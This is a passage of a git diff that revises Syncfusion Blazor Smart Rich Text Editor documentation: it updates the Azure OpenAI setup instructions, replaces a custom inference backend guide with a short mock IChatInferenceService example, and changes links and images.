Binary files /dev/null and b/blazor/smart-paste/images/smart-paste-annotation.webp differ
diff --git a/blazor/smart-paste/images/smart-paste.gif b/blazor/smart-paste/images/smart-paste.gif
deleted file mode 100644
index 2158a0bc5a..0000000000
Binary files a/blazor/smart-paste/images/smart-paste.gif and /dev/null differ
diff --git a/blazor/smart-paste/images/smart-paste.webp b/blazor/smart-paste/images/smart-paste.webp
new file mode 100644
index 0000000000..5ef364d6a7
Binary files /dev/null and b/blazor/smart-paste/images/smart-paste.webp differ
diff --git a/blazor/smart-rich-text-editor/appearance.md b/blazor/smart-rich-text-editor/appearance.md
index f73d0a0958..f6405e2b64 100644
--- a/blazor/smart-rich-text-editor/appearance.md
+++ b/blazor/smart-rich-text-editor/appearance.md
@@ -63,8 +63,8 @@ In this example, we customize the AI Assistant popup appearance by targeting the
 
 ---
 
-## See Also
+## See also
 
-* [Properties](property.md)
-* [Methods](method.md)
-* [Events](events.md)
+* [Properties](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/property)
+* [Methods](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/method)
+* [Events](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/events)
diff --git a/blazor/smart-rich-text-editor/azure-openai-service.md b/blazor/smart-rich-text-editor/azure-openai-service.md
index 75399d2e54..e49a3fcf64 100644
--- a/blazor/smart-rich-text-editor/azure-openai-service.md
+++ b/blazor/smart-rich-text-editor/azure-openai-service.md
@@ -52,15 +52,42 @@ From your Azure OpenAI resource in Azure Portal, copy:
 - **Key**: Found under **Keys and Endpoint**
 - **Deployment name**: Created in Step 2
 
-## Installation
+## Setup the Smart Rich Text Editor Component
 
-Install required NuGet packages:
+Follow the [Getting Started](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp) guide to configure and render the Smart Rich Text Editor component in the application and that prerequisites are met.
+
+## Install NuGet packages
+
+Install the following NuGet packages to your project:
+
+* [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+* [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
+* [Azure.AI.OpenAI](https://www.nuget.org/packages/Azure.AI.OpenAI)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight c# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
-Install-Package Syncfusion.Blazor.SmartRichTextEditor
-Install-Package Syncfusion.Blazor.Themes
 Install-Package Microsoft.Extensions.AI
 Install-Package Microsoft.Extensions.AI.OpenAI
 Install-Package Azure.AI.OpenAI
@@ -68,6 +95,30 @@ Install-Package Azure.AI.OpenAI
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Microsoft.Extensions.AI
+dotnet add package Microsoft.Extensions.AI.OpenAI
+dotnet add package Azure.AI.OpenAI
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 ## Configuration
 
 ### Step 1: Setup in Program.cs
@@ -102,13 +153,11 @@ AzureOpenAIClient azureOpenAIClient = new AzureOpenAIClient(
     new Uri(azureOpenAIEndpoint),
     new ApiKeyCredential(azureOpenAIKey)
 );
-
 IChatClient azureOpenAIChatClient = azureOpenAIClient
     .GetChatClient(azureOpenAIDeployment)
     .AsIChatClient();
 
 builder.Services.AddSingleton<IChatClient>(azureOpenAIChatClient);
-
 // Register Smart Rich Text Editor Components with Azure OpenAI
 builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
 
@@ -117,18 +166,19 @@ var app = builder.Build();
 // ... rest of your application setup
 ```
 
-### Step 2: Add Imports to _Imports.razor
-
-Update **~/_Imports.razor**:
-
-{% tabs %}
-{% highlight razor tabtitle="~/Components/_Imports.razor" %}
+### Step 2: Configure Azure OpenAI Credentials in appsettings.json
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.SmartRichTextEditor
+```json
+{
+  "AzureOpenAI": {
+    "Key": "your-azure-openai-api-key",
+    "Endpoint": "https://<your-resource-name>.openai.azure.com/",
+    "DeploymentName": "your-deployment-name"
+  }
+}
+```
 
-{% endhighlight %}
-{% endtabs %}
+N> Store sensitive keys in user secrets or environment variables, not in appsettings.json.
 
 ### Step 3: Use Azure OpenAI with Smart Rich Text Editor Component
 
@@ -138,166 +188,21 @@ Update **~/_Imports.razor**:
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
-    <AssistViewSettings Placeholder="Start typing for AI assistance..."/>
+    <AssistViewSettings Placeholder="Use Azure OpenAI to enhance your content..." />
     <div>
-        <strong>Tips:</strong>
+        <strong>Use Azure OpenAI with Smart Rich Text Editor:</strong>
         <ul>
-            <li>Select text and click AI Commands for quick improvements</li>
-            <li>Press Alt+Enter to open AI Query dialog</li>
-            <li>Use AI to fix grammar, adjust tone, or rephrase content</li>
+            <li>Select text and use <b>AI Commands</b> to generate or refine content</li>
+            <li>Press <b>Alt + Enter</b> to open the Azure OpenAI query dialog</li>
+            <li>Use Azure OpenAI to fix grammar, adjust tone, or rephrase text</li>
         </ul>
-        <p>Welcome to the Smart Rich Text Editor — try selecting a sentence to see AI suggestions.</p>
     </div>
 </SfSmartRichTextEditor>
 
 {% endhighlight %}
 {% endtabs %}
 
-## Using Configuration Files
-
-### appsettings.json
-
-Store Azure credentials in configuration:
-
-```json
-{
-  "AzureOpenAI": {
-    "Key": "${AzureOpenAI_Key}",
-    "Endpoint": "https://<your-resource-name>.openai.azure.com/",
-    "DeploymentName": "<your-deployment-name>"
-  }
-}
-```
-
-> **Note**: Store sensitive keys in user secrets or environment variables, not in appsettings.json
-
-### Reading from Configuration
-
-```csharp
-string azureOpenAIKey = builder.Configuration["AzureOpenAI:Key"];
-string azureOpenAIEndpoint = builder.Configuration["AzureOpenAI:Endpoint"];
-string azureOpenAIDeployment = builder.Configuration["AzureOpenAI:DeploymentName"];
-
-AzureOpenAIClient azureOpenAIClient = new AzureOpenAIClient(
-    new Uri(azureOpenAIEndpoint),
-    new ApiKeyCredential(azureOpenAIKey)
-);
-
-IChatClient azureOpenAIChatClient = azureOpenAIClient
-    .GetChatClient(azureOpenAIDeployment)
-    .AsIChatClient();
-
-builder.Services.AddChatClient(azureOpenAIChatClient);
-```
-
-## Using User Secrets
-
-For development environment:
-
-```bash
-dotnet user-secrets init
-dotnet user-secrets set "AzureOpenAI:Key" "<your-actual-key>"
-dotnet user-secrets set "AzureOpenAI:Endpoint" "https://<your-resource-name>.openai.azure.com/"
-dotnet user-secrets set "AzureOpenAI:DeploymentName" "<your-deployment-name>"
-```
-
-## Advanced Configuration
-
-### Model Parameters
-
-Customize Azure OpenAI behavior:
-
-```csharp
-builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
-    .ConfigureAzureOpenAI(options =>
-    {
-        options.MaxTokens = 500;
-        options.Temperature = 0.7f;
-        options.TopP = 0.9f;
-        options.FrequencyPenalty = 0.5f;
-        options.PresencePenalty = 0.5f;
-    });
-```
-
-### Multiple Deployments
-
-For production with multiple model deployments:
-
-```csharp
-// Create clients for different deployments
-var gpt35Client = azureOpenAIClient
-    .GetChatClient("gpt-35-turbo-deployment")
-    .AsIChatClient();
-
-var gpt4Client = azureOpenAIClient
-    .GetChatClient("gpt-4-deployment")
-    .AsIChatClient();
-
-// Register based on use case
-builder.Services.AddKeyedSingleton<IChatClient>("gpt-35-turbo", gpt35Client);
-builder.Services.AddKeyedSingleton<IChatClient>("gpt-4", gpt4Client);
-```
-
-## Supported Models
-
-Azure OpenAI supports various models:
-
-| Model | Deployment Name | Use Case |
-|-------|-----------------|----------|
-| GPT-4 | `gpt-4` | Complex reasoning, high quality |
-| GPT-4 Turbo | `gpt-4-turbo` | Latest capabilities, balanced cost |
-| GPT-3.5 Turbo | `gpt-35-turbo` | Fast responses, cost-effective |
-
-## Security Features
-
-### Benefits of Azure OpenAI
-
-1. **Enterprise Security**
-   - Virtual Network support
-   - Private endpoints
-   - Azure security standards
-
-2. **Compliance**
-   - HIPAA compliance
-   - SOC 2 compliance
-   - Data residency options
-
-3. **Access Control**
-   - Azure AD integration
-   - Role-based access control
-   - Managed identities
-
-4. **Monitoring**
-   - Azure Monitor integration
-   - Detailed logging
-   - Usage analytics
-
-### Managed Identity (Recommended)
-
-For enhanced security using Managed Identity:
-
-```csharp
-// Enable Managed Identity in Azure
-// In Program.cs
-using Azure.Identity;
-
-var credential = new DefaultAzureCredential();
-string azureOpenAIEndpoint = builder.Configuration["AzureOpenAI:Endpoint"] 
-    ?? throw new InvalidOperationException("AzureOpenAI:Endpoint not configured");
-string azureOpenAIDeployment = builder.Configuration["AzureOpenAI:DeploymentName"] 
-    ?? throw new InvalidOperationException("AzureOpenAI:DeploymentName not configured");
-
-AzureOpenAIClient azureOpenAIClient = new AzureOpenAIClient(
-    new Uri(azureOpenAIEndpoint),
-    credential
-);
-
-IChatClient azureOpenAIChatClient = azureOpenAIClient
-    .GetChatClient(azureOpenAIDeployment)
-    .AsIChatClient();
-
-builder.Services.AddSingleton<IChatClient>(azureOpenAIChatClient);
-```
+![Syncfusion Smart Rich Text Editor Azure OpenAI Integration](images/azureopenai-integration.png)
 
 ## Troubleshooting
 
@@ -323,41 +228,9 @@ builder.Services.AddSingleton<IChatClient>(azureOpenAIChatClient);
 - Verify network connectivity
 - Consider timeout configuration
 
-## Monitoring and Analytics
-
-### Azure Monitor Integration
-
-Monitor your Smart Rich Text Editor usage:
-
-1. Go to your Azure OpenAI resource
-2. Click **Monitoring** > **Metrics**
-3. View metrics:
-   - Requests per minute
-   - Token usage
-   - Response latency
-   - Error rates
-
-### Application Insights
-
-Add Application Insights for detailed tracing:
-
-```csharp
-builder.Services.AddApplicationInsightsTelemetry();
-```
-
-## Cost Optimization
-
-### Tips for Azure OpenAI
-
-1. **Right-size deployments**: Use appropriate TPM (tokens per minute)
-2. **Monitor usage**: Check metrics regularly
-3. **Use appropriate models**: GPT-3.5-turbo for most cases
-4. **Implement caching**: Reduce repeated requests
-5. **Batch operations**: Process multiple requests efficiently
-
 ## See also
 
-* [Getting Started with Smart Rich Text Editor](getting-started.md)
-* [OpenAI Configuration](openai-service.md)
-* [AI Features and Customization](ai-features.md)
+* [Getting Started with Smart Rich Text Editor](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp)
+* [OpenAI Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/openai-service)
+* [Ollama Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/ollama)
 * [Azure OpenAI Documentation](https://learn.microsoft.com/en-us/azure/ai-services/openai/)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/custom-inference-backend.md b/blazor/smart-rich-text-editor/custom-inference-backend.md
index 7e25b605d0..d25c4490ab 100644
--- a/blazor/smart-rich-text-editor/custom-inference-backend.md
+++ b/blazor/smart-rich-text-editor/custom-inference-backend.md
@@ -1,551 +1,103 @@
 ---
 layout: post
-title: Custom Inference Backend for Syncfusion Smart Rich Text Editor
-description: Learn how to configure custom AI inference back-ends for the Syncfusion Blazor Smart Rich Text Editor component.
+title: Custom AI Service Integration with Syncfusion Smart Rich Text Editor
+description: Learn how to use IChatInferenceService to integrate custom AI services with the Syncfusion Blazor Smart Rich Text Editor component.
 platform: Blazor
 control: Smart Rich Text Editor
 documentation: ug
 ---
 
-# Custom Inference Backend
+# Custom AI Service Integration with Blazor Smart Rich Text Editor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor supports custom inference back-ends, allowing you to integrate with proprietary AI services or internal AI infrastructure.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor component leverages AI to provide context-aware content generation and editing, typically using OpenAI or Azure OpenAI services. Developers can integrate custom AI services using the `IChatInferenceService` interface, which standardizes communication between the Smart Rich Text Editor and third-party AI providers. This section explains how to implement and register a custom AI service for the Smart Rich Text Editor.
 
-## Overview
+## IChatInferenceService Interface
 
-Custom back-ends enable:
-
-- Integration with internal AI services
-- Compliance with corporate data policies
-- Custom model fine-tuning
-- Specialized domain models
-- Proprietary inference engines
-
-## Prerequisites
-
-* Existing AI/ML inference service
-* API endpoint for inference
-* Authentication credentials (if required)
-* Understanding of your backend's API format
-
-## Creating a Custom Backend
-
-### Step 1: Implement IChatClient Interface
-
-Create a custom class implementing `IChatClient`:
+The `IChatInferenceService` interface defines a contract for integrating custom AI services with Syncfusion Smart Rich Text Editor. It enables the Smart Rich Text Editor to request and receive AI-generated responses.
 
 ```csharp
-using Microsoft.Extensions.AI;
-using System.Collections.Generic;
-using System.Threading.Tasks;
+using Syncfusion.Blazor.AI;
 
-namespace YourNamespace.AI
+public interface IChatInferenceService
 {
-    public class CustomAIBackend : IChatClient
-    {
-        private readonly string _endpoint;
-        private readonly string _apiKey;
-        private readonly HttpClient _httpClient;
-
-        public CustomAIBackend(string endpoint, string apiKey)
-        {
-            _endpoint = endpoint;
-            _apiKey = apiKey;
-            _httpClient = new HttpClient();
-        }
-
-        public async ValueTask<ChatCompletion> CompleteAsync(
-            IList<ChatMessage> chatMessages, 
-            ChatOptions? options = null,
-            CancellationToken cancellationToken = default)
-        {
-            // Format request for your custom backend
-            var requestBody = new
-            {
-                messages = ConvertChatMessages(chatMessages),
-                max_tokens = options?.MaxCompletionTokens ?? 500,
-                temperature = options?.Temperature ?? 0.7f
-            };
-
-            // Call your custom endpoint
-            var request = new HttpRequestMessage(HttpMethod.Post, _endpoint)
-            {
-                Content = new StringContent(
-                    System.Text.Json.JsonSerializer.Serialize(requestBody),
-                    System.Text.Encoding.UTF8,
-                    "application/json"
-                )
-            };
-
-            // Add authentication if needed
-            if (!string.IsNullOrEmpty(_apiKey))
-            {
-                request.Headers.Add("Authorization", $"Bearer {_apiKey}");
-            }
-
-            var response = await _httpClient.SendAsync(request, cancellationToken);
-            response.EnsureSuccessStatusCode();
-
-            var responseContent = await response.Content.ReadAsStringAsync();
-            var result = System.Text.Json.JsonSerializer.Deserialize<CustomBackendResponse>(responseContent);
+    Task<string> GenerateResponseAsync(ChatParameters options);
+}
+```
 
-            return new ChatCompletion(new ChatMessage(
-                ChatRole.Assistant,
-                result?.choices?[0]?.message?.content ?? "No response"
-            ));
-        }
+- **Purpose**: Standardizes communication for AI-generated responses.
+- **Parameters**: The `ChatParameters` type includes properties like user input and context.
+- **Benefits**: Enables seamless switching between AI providers without modifying component code.
 
-        private object ConvertChatMessages(IList<ChatMessage> messages)
-        {
-            return messages.Select(m => new
-            {
-                role = m.Role.ToString().ToLower(),
-                content = m.Content?[0]?.Text ?? string.Empty
-            }).ToList();
-        }
+## Simple Implementation of a Custom AI Service
 
-        public void Dispose()
-        {
-            _httpClient?.Dispose();
-        }
-    }
+Below is a sample implementation of a mock AI service named `MockAIService`. This service demonstrates how to implement the `IChatInferenceService` interface by returning sample responses. You can replace the logic with your own AI integration.
 
-    public class CustomBackendResponse
-    {
-        public Choice[]? choices { get; set; }
-    }
+1. Create a new class file named `MockAIService.cs` in your project.
+2. Add the following code:
 
-    public class Choice
-    {
-        public Message? message { get; set; }
-    }
+```csharp
+using Syncfusion.Blazor.AI;
 
-    public class Message
+public class MockAIService : IChatInferenceService
+{
+    public Task<string> GenerateResponseAsync(ChatParameters options)
     {
-        public string? content { get; set; }
+        // Add custom logic to call your AI backend
+        // Sample custom response
+        return Task.FromResult("This is a custom AI response.");
     }
 }
 ```
 
-### Step 2: Register in Program.cs
+## Registering the Custom AI Service
 
-Register your custom backend:
+Register the custom AI service in the **~/Program.cs** file of your Blazor Web App:
 
 ```csharp
+using Microsoft.AspNetCore.Components;
+using Microsoft.AspNetCore.Components.Web;
 using Syncfusion.Blazor;
 using Syncfusion.Blazor.AI;
-using YourNamespace.AI;
 
 var builder = WebApplication.CreateBuilder(args);
 
-// Add services
 builder.Services.AddRazorPages();
 builder.Services.AddServerSideBlazor();
 builder.Services.AddSyncfusionBlazor();
-
-// Register custom backend - load from configuration
-string customEndpoint = builder.Configuration["CustomAI:Endpoint"] 
-    ?? throw new InvalidOperationException("CustomAI:Endpoint not configured");
-string customApiKey = builder.Configuration["CustomAI:ApiKey"] 
-    ?? throw new InvalidOperationException("CustomAI:ApiKey not configured");
-
-var customBackend = new CustomAIBackend(customEndpoint, customApiKey);
-builder.Services.AddSingleton<IChatClient>(customBackend);
-
-// Register Smart Rich Text Editor Components
-builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
+builder.Services.AddSingleton<IChatInferenceService, MockAIService>();
 
 var app = builder.Build();
-
-// ... rest of setup
-```
-
-### Step 3: Use in Blazor Component
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.SmartRichTextEditor
-
-<SfSmartRichTextEditor>
-    <AssistViewSettings Placeholder="Edit with custom AI..." />
-    <div>
-        <h3>Welcome to the AI-assisted editor</h3>
-        <p>Try selecting a sentence and use AI Commands to improve tone or clarity.</p>
-        <ul>
-            <li>Select text and request suggestions</li>
-            <li>Press Alt+Enter for AI Query</li>
-        </ul>
-    </div>
-</SfSmartRichTextEditor>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Advanced Implementation
-
-### With Configuration Support
-
-```csharp
-public class CustomAIBackend : IChatClient
-{
-    private readonly IConfiguration _configuration;
-    private readonly string _endpoint;
-    private readonly string _apiKey;
-    private readonly HttpClient _httpClient;
-
-    public CustomAIBackend(IConfiguration configuration)
-    {
-        _configuration = configuration;
-        _endpoint = _configuration["CustomAI:Endpoint"] 
-            ?? throw new InvalidOperationException("CustomAI:Endpoint not configured");
-        _apiKey = _configuration["CustomAI:ApiKey"] 
-            ?? throw new InvalidOperationException("CustomAI:ApiKey not configured");
-        _httpClient = new HttpClient();
-    }
-
-    public async ValueTask<ChatCompletion> CompleteAsync(
-        IList<ChatMessage> chatMessages, 
-        ChatOptions? options = null,
-        CancellationToken cancellationToken = default)
-    {
-        // Implementation...
-        throw new NotImplementedException();
-    }
-
-    public void Dispose()
-    {
-        _httpClient?.Dispose();
-    }
-}
 ```
 
-### Configuration in appsettings.json
+## Testing the Custom AI Integration
 
-```json
-{
-  "CustomAI": {
-    "Endpoint": "https://your-ai-service.com/api/inference",
-    "ApiKey": "${CustomAI_ApiKey}",
-    "MaxRetries": 3,
-    "TimeoutSeconds": 30
-  }
-}
-```
+1. Implement and register the custom AI service as shown above.
+2. Follow the [Getting Started](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp) guide to configure and render the Smart Rich Text Editor component in the application and that prerequisites are met.
+3. Run the application press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor component in the default web browser.
+4. Use the AI AssistView or AI Commands in the Smart Rich Text Editor to verify that the custom AI service generates appropriate responses.
 
-> **Note**: Store sensitive credentials in user secrets or environment variables, not in appsettings.json
+![Smart Rich Text Editor with Custom AI Service](images/smart-richtexteditor-custom-ai-service.gif)
 
-### Registration with Configuration
+## Implemented AI Services
 
-```csharp
-var customBackend = new CustomAIBackend(builder.Configuration);
-builder.Services.AddSingleton<IChatClient>(customBackend);
-```
+Here are examples of AI services integrated using the `IChatInferenceService` interface:
 
-## Streaming Responses
+| Service | Documentation |
+|---------|---------------|
+| OpenAI | [OpenAI Integration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/openai-service) |
+| Azure OpenAI | [Azure OpenAI Integration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/azure-openai-service) |
+| Ollama | [Ollama Integration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/ollama) |
 
-For better UX with custom back-ends:
+## Troubleshooting
 
-```csharp
-public class StreamingCustomAIBackend : IChatClient
-{
-    private readonly string _endpoint;
-    private readonly HttpClient _httpClient;
-
-    public StreamingCustomAIBackend(string endpoint)
-    {
-        _endpoint = endpoint;
-        _httpClient = new HttpClient();
-    }
-
-    public async ValueTask<ChatCompletion> CompleteAsync(
-        IList<ChatMessage> chatMessages,
-        ChatOptions? options = null,
-        CancellationToken cancellationToken = default)
-    {
-        var request = new HttpRequestMessage(HttpMethod.Post, _endpoint);
-        request.Content = new StringContent(
-            System.Text.Json.JsonSerializer.Serialize(new { messages = chatMessages }),
-            System.Text.Encoding.UTF8,
-            "application/json"
-        );
-
-        // Enable streaming
-        request.Headers.Add("Accept", "text/event-stream");
-
-        var response = await _httpClient.SendAsync(
-            request,
-            HttpCompletionOption.ResponseHeadersRead,
-            cancellationToken
-        );
-
-        using var stream = await response.Content.ReadAsStreamAsync(cancellationToken);
-        using var reader = new System.IO.StreamReader(stream);
-
-        var fullContent = new System.Text.StringBuilder();
-
-        while (!reader.EndOfStream)
-        {
-            var line = await reader.ReadLineAsync();
-            if (line?.StartsWith("data: ") == true)
-            {
-                var data = line.Substring("data: ".Length);
-                var chunk = System.Text.Json.JsonSerializer.Deserialize<StreamChunk>(data);
-                if (chunk?.content != null)
-                {
-                    fullContent.Append(chunk.content);
-                }
-            }
-        }
-
-        return new ChatCompletion(new ChatMessage(
-            ChatRole.Assistant,
-            fullContent.ToString()
-        ));
-    }
-
-    public void Dispose()
-    {
-        _httpClient?.Dispose();
-    }
-
-    private class StreamChunk
-    {
-        public string? content { get; set; }
-    }
-}
-```
-
-## Error Handling
-
-Implement robust error handling:
-
-```csharp
-public class RobustCustomAIBackend : IChatClient
-{
-    private readonly string _endpoint;
-    private readonly HttpClient _httpClient;
-    private readonly ILogger<RobustCustomAIBackend> _logger;
-    private readonly int _maxRetries = 3;
-
-    public RobustCustomAIBackend(string endpoint, ILogger<RobustCustomAIBackend> logger)
-    {
-        _endpoint = endpoint;
-        _logger = logger;
-        _httpClient = new HttpClient();
-    }
-
-    public async ValueTask<ChatCompletion> CompleteAsync(
-        IList<ChatMessage> chatMessages,
-        ChatOptions? options = null,
-        CancellationToken cancellationToken = default)
-    {
-        for (int attempt = 1; attempt <= _maxRetries; attempt++)
-        {
-            try
-            {
-                return await AttemptCompletion(chatMessages, options, cancellationToken);
-            }
-            catch (HttpRequestException ex) when (attempt < _maxRetries)
-            {
-                _logger.LogWarning($"Attempt {attempt} failed: {ex.Message}. Retrying...");
-                await Task.Delay(TimeSpan.FromSeconds(attempt * 2), cancellationToken);
-            }
-            catch (Exception ex)
-            {
-                _logger.LogError($"Unrecoverable error: {ex.Message}");
-                throw;
-            }
-        }
-
-        throw new InvalidOperationException("Failed to get response after max retries");
-    }
-
-    private async ValueTask<ChatCompletion> AttemptCompletion(
-        IList<ChatMessage> chatMessages,
-        ChatOptions? options,
-        CancellationToken cancellationToken)
-    {
-        using var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
-        cts.CancelAfter(TimeSpan.FromSeconds(30)); // 30 second timeout
-
-        var request = new HttpRequestMessage(HttpMethod.Post, _endpoint);
-        // ... request setup ...
-
-        var response = await _httpClient.SendAsync(request, cts.Token);
-        response.EnsureSuccessStatusCode();
-
-        var content = await response.Content.ReadAsStringAsync();
-        return ParseResponse(content);
-    }
-
-    private ChatCompletion ParseResponse(string content)
-    {
-        try
-        {
-            var result = System.Text.Json.JsonSerializer.Deserialize<CustomResponse>(content);
-            return new ChatCompletion(new ChatMessage(
-                ChatRole.Assistant,
-                result?.output ?? "No response"
-            ));
-        }
-        catch (System.Text.Json.JsonException ex)
-        {
-            _logger.LogError($"Failed to parse response: {ex.Message}");
-            throw;
-        }
-    }
-
-    public void Dispose()
-    {
-        _httpClient?.Dispose();
-    }
-
-    private class CustomResponse
-    {
-        public string? output { get; set; }
-    }
-}
-```
-
-## Example: Internal AI Service Integration
-
-### Scenario: Company-Internal AI API
-
-```csharp
-public class CorporateAIBackend : IChatClient
-{
-    private readonly string _internalEndpoint;
-    private readonly string _bearerToken;
-    private readonly HttpClient _httpClient;
-    private readonly ILogger _logger;
-
-    public CorporateAIBackend(string endpoint, string token, ILogger logger)
-    {
-        _internalEndpoint = endpoint;
-        _bearerToken = token;
-        _logger = logger;
-        _httpClient = new HttpClient();
-        _httpClient.Timeout = TimeSpan.FromSeconds(60);
-    }
-
-    public async ValueTask<ChatCompletion> CompleteAsync(
-        IList<ChatMessage> chatMessages,
-        ChatOptions? options = null,
-        CancellationToken cancellationToken = default)
-    {
-        try
-        {
-            var requestBody = new
-            {
-                messages = chatMessages.Select(m => new
-                {
-                    role = m.Role == ChatRole.User ? "user" : "assistant",
-                    content = m.Content?[0]?.Text ?? string.Empty
-                }),
-                parameters = new
-                {
-                    temperature = options?.Temperature ?? 0.7f,
-                    max_tokens = options?.MaxCompletionTokens ?? 1000
-                }
-            };
-
-            var request = new HttpRequestMessage(HttpMethod.Post, _internalEndpoint);
-            request.Headers.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Bearer", _bearerToken);
-            request.Content = new StringContent(
-                System.Text.Json.JsonSerializer.Serialize(requestBody),
-                System.Text.Encoding.UTF8,
-                "application/json"
-            );
-
-            var response = await _httpClient.SendAsync(request, cancellationToken);
-
-            if (!response.IsSuccessStatusCode)
-            {
-                _logger.LogError($"API Error: {response.StatusCode}");
-                throw new InvalidOperationException($"AI service returned: {response.StatusCode}");
-            }
-
-            var content = await response.Content.ReadAsStringAsync(cancellationToken);
-            var result = System.Text.Json.JsonSerializer.Deserialize<CorporateResponse>(content);
-
-            return new ChatCompletion(new ChatMessage(
-                ChatRole.Assistant,
-                result?.result?.text ?? "Unable to generate response"
-            ));
-        }
-        catch (Exception ex)
-        {
-            _logger.LogError($"Error calling corporate AI: {ex.Message}");
-            throw;
-        }
-    }
-
-    public void Dispose()
-    {
-        _httpClient?.Dispose();
-    }
-
-    private class CorporateResponse
-    {
-        public ResultData? result { get; set; }
-    }
-
-    private class ResultData
-    {
-        public string? text { get; set; }
-    }
-}
-```
-
-## Testing Your Custom Backend
-
-### Unit Test Example
-
-```csharp
-[TestClass]
-public class CustomAIBackendTests
-{
-    [TestMethod]
-    public async Task CompleteAsync_WithValidMessages_ReturnsResponse()
-    {
-        // Arrange
-        var backend = new CustomAIBackend("https://test-endpoint.com", "test-key");
-        var messages = new List<ChatMessage>
-        {
-            new ChatMessage(ChatRole.User, "Hello")
-        };
-
-        // Act
-        var result = await backend.CompleteAsync(messages);
-
-        // Assert
-        Assert.IsNotNull(result);
-        Assert.IsNotNull(result.Content);
-    }
-
-    [TestMethod]
-    public async Task CompleteAsync_WithInvalidEndpoint_ThrowsException()
-    {
-        // Arrange
-        var backend = new CustomAIBackend("https://invalid-endpoint.com", "test-key");
-        var messages = new List<ChatMessage>
-        {
-            new ChatMessage(ChatRole.User, "Test")
-        };
-
-        // Act & Assert
-        await Assert.ThrowsExceptionAsync<Exception>(
-            () => backend.CompleteAsync(messages).AsTask()
-        );
-    }
-}
-```
+If the custom AI service does not work as expected, try the following:
+- **No Response Displayed**: Ensure the `IChatInferenceService` implementation is registered in **Program.cs** and returns valid responses. Check for errors in the `GenerateResponseAsync` method.
+- **Dependency Issues**: Verify that all required NuGet packages (e.g., `Syncfusion.Blazor.SmartRichTextEditor`) are installed. Run `dotnet restore` to resolve dependencies.
+- **Incorrect Responses**: Debug the custom AI service implementation to ensure it processes `ChatParameters` correctly and returns expected responses.
 
 ## See also
 
-* [Getting Started with Smart Rich Text Editor](getting-started.md)
-* [OpenAI Configuration](openai-service.md)
-* [Azure OpenAI Configuration](azure-openai-service.md)
-* [Ollama Configuration](ollama.md)
-* [AI Features and Customization](ai-features.md)
\ No newline at end of file
+* [Getting Started with Syncfusion Blazor Smart Rich Text Editor](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp)
+* [OpenAI Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/openai-service)
+* [Azure OpenAI Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/azure-openai-service)
+* [Ollama Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/ollama)
diff --git a/blazor/smart-rich-text-editor/events.md b/blazor/smart-rich-text-editor/events.md
index 3f642c9250..c023961bc9 100644
--- a/blazor/smart-rich-text-editor/events.md
+++ b/blazor/smart-rich-text-editor/events.md
@@ -66,7 +66,7 @@ Fires when the user clicks "Stop" during a streaming response.
 ## AIToolbarItemClicked
 **Type:** `EventCallback<AssistViewToolbarItemClickedEventArgs>`
 
-Fires when the user clicks a toolbar button (Insert, Copy, Regenerate, etc.).
+Fires when a user clicks an AssistView toolbar item, providing details of the selected action.
 
 {% tabs %}
 {% highlight razor %}
@@ -150,8 +150,8 @@ Fires before the AI Assistant popup closes. Use to save state or confirm before
 
 ---
 
-## See Also
+## See also
 
-* [Properties](property.md)
-* [Methods](method.md)
-* [Appearance](appearance.md)
\ No newline at end of file
+* [Properties](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/property)
+* [Methods](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/method)
